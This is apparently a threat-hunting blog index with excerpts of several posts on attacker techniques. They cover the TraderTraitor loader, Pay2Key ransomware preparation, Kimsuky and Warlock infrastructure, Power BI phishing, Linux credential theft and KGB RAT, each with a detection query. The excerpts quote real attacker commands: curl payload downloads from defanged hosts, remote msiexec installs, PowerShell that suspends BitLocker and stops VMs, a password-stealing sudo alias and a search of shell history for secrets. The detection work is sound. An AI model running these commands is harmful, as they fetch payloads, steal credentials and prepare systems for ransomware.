Posts

424. Hunting for TraderTraitor's Loader

Image
Hello everyone! Today, we're taking a look at TraderTraitor. Yes, the very same cluster that has been linked to the successful attack on Binance. According to a report by Zscaler ThreatLabz , in one of their campaigns, the attackers distributed a modified Terraform provider that downloaded a second-stage payload onto compromised systems - a cross-platform loader that we'll focus on today. To host the malicious payload, the attackers leveraged legitimate services such as Dynamic DNS service, GitHub, and Vercel. The payload was disguised as a font file, for example, HiraginoSans-Regular.woff , and downloaded using cURL, as shown in the following examples: curl -s -L -f -o /Users/admin/Library/com.apple.iTunesCloud/SystemUpdate.tmp hxxps://supportaru.serveftp[.]com/statics/cache/v11/HiraginoSans-Regular.woff curl -s -L -f -o /Users/admin/Library/com.apple.iTunesCloud/SystemUpdate.tmp hxxps://raw.githubusercontent[.]com/bluearuhost/hospitalrun-frontend/refs/heads/main/public/fonts/...

423. How the Pay2Key Ransomware Prepares Compromised Systems for Encryption

Image
Hello everyone! I think you know that ransomware operators have a special place in my collection. And today, we're going to look at some interesting techniques used to prepare systems for data encryption. Our focus today is Pay2Key . In addition to some well-known techniques, this malware also demonstrates a few interesting ones. First, it suspends BitLocker: powershell.exe -ExecutionPolicy Bypass "Get-BitLockerVolume | Suspend-BitLocker" A rather suspicious event: event_type: "processcreatewin" AND proc_file_path: "powershell.exe" AND cmdline: "Suspend-BitLocker" The malware also shuts down Hyper-V virtual machines: powershell.exe -ExecutionPolicy Bypass "Get-VM | Stop-VM" It then dismounts their virtual disks: powershell.exe -ExecutionPolicy Bypass "Get-VM | Select-Object vmid | Get-VHD | %{Get-DiskImage -ImagePath $_.Path; Get-DiskImage -ImagePath $_.ParentPath} | Dismount-DiskImage" powershell.exe -ExecutionPolicy Bypa...

422. Kimsuky Uses AwardSpace Domains for C2 Infrastructure

Image
Hello everyone! Today, we're going to talk about some aspects of attackers' infrastructure and take another look at the Web Service (T1102) technique. Let's take a look at this report covering Kimsuky's activity. The attackers used subdomains provided by AwardSpace, a free website hosting service, to host malicious scripts, exfiltrate information from compromised systems, and receive commands. The following subdomains were observed: qweasdzxc.mygamesonline[.]org wersdfxcv.mygamesonline[.]org pokijhgcfsdfghnj.mywebcommunity[.]org mykolapalinchak.medianewsonline[.]com We can expand the list of domains associated with AwardSpace and build a query for threat hunting: event_type: "dnsreqwin" AND dns_rname: ("atwebpages.com" OR "sportsontheweb.com" OR "medianewsonline.com" OR "atspace.com" OR "atspace.cc" OR "atspace.eu" OR "royalwebhosting.net" OR "myartsonline.com" OR "mywebcomm...

421. Threat Actors Abuse Power BI to Bypass Defenses

Image
Hello everyone! Today, we're once again going to talk about legitimate services, this time in the context of attackers setting up their infrastructure using the Acquire Infrastructure: Web Services (T1583.006) technique. In this case, the attackers leveraged Microsoft Power BI. They used the service to create dashboards containing embedded phishing links. The link in the email looked like this: hxxps[://]app.powerbi[.]com/view?r=eyJrIjoiNTk0NmViNDktYzM1Yy00MjEwLTkyZTctNGU5ZTJmYzMzYjEwIiwidCI6IjU1YTI4YmU2LTFiYzQtNDIzMS05MTA0LTdkMmFlYTVmMGZhNiJ9 Since the link pointed to a legitimate service, emails containing such links could easily bypass security controls. Moreover, the use of a trusted service made the message appear more credible to potential victims. Naturally, especially in environments where this service is not actively used, access to it can be a good candidate for threat hunting: event_type: "dnsreqwin" AND dns_rname: "powerbi.com" See you soon!

420. This Ransomware Gang Abuse Litterbox to Store Malicious Files

Image
Hello everyone! Attackers continue to experiment with legitimate services to host malicious payloads. Today, we’ll look at another interesting example. This time, the example comes from the operators of Warlock Ransomware. The attackers used msiexec and several legitimate file-hosting services to download malicious files onto a compromised system. One of the services they used was Litterbox, a temporary file-sharing service from Catbox.moe that allows users to upload files and share links to them: msiexec.exe /q /i "hxxps://litter.catbox[.]moe/6f5tdt.msi" Naturally, we can hunt for suspicious communications with this service initiated by system utilities that attackers commonly abuse to execute malicious files from remote resources, such as msiexec: event_type: "dnsreqwin" AND dns_rname: "catbox.moe" AND proc_file_path: "msiexec.exe" See you soon!

419. Threat Actors Leverage Multiple Techniques to Obtain Credentials in Linux

Image
Hello everyone! We don't often talk about attacks targeting Linux, but I recently came across an interesting report describing several credential access techniques: Input Capture (T1056) , Credentials In Files (T1552.001) , and Shell History (T1552.003) . First, the attackers replaced the legitimate .bashrc file with their own version, which included a command to capture credentials: alias sudo='echo -n "[sudo] password for $USER: " && read -r p && echo "$USER:$p" | base64 -w0 >>/dev/shm/Solarwinds.StatusLog.txt && /usr/bin/sudo $@' We can hunt for newly created .bashrc files using the following query: event_type: "filecreatenix" AND file_path: "bashrc" Second, the attackers searched for credentials in .bash_history and .mysql_history files : /bin/sh -c grep -r 'password|passwd|secret' /root/.bash_history 2>/dev/null; cat /root/.mysql_history 2>/dev/null | tail -30 Similar suspicious acti...

418. An Interesting Case of Registry Modification

Image
Hello everyone! As you know, attackers often change the attributes of malicious files to hide them from users, system administrators, and cybersecurity professionals. However, in some cases, system settings are configured to display even hidden system files. And, of course, malware can do something about that! Today, let's take a look at a piece of malware with an interesting name: KGB RAT . Examining its behavioral indicators, we can identify an unusual one: a registry modification designed to hide protected operating system files, followed by refreshing Windows Explorer windows using PowerShell: cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f && powershell -command "&{ $null = New-Object -ComObject Shell.Application; (New-Object -ComObject Shell.Application).Windows() | ForEach-Object { $_.Refresh() }}" Such a configuration change is certainly suspicious and can be used f...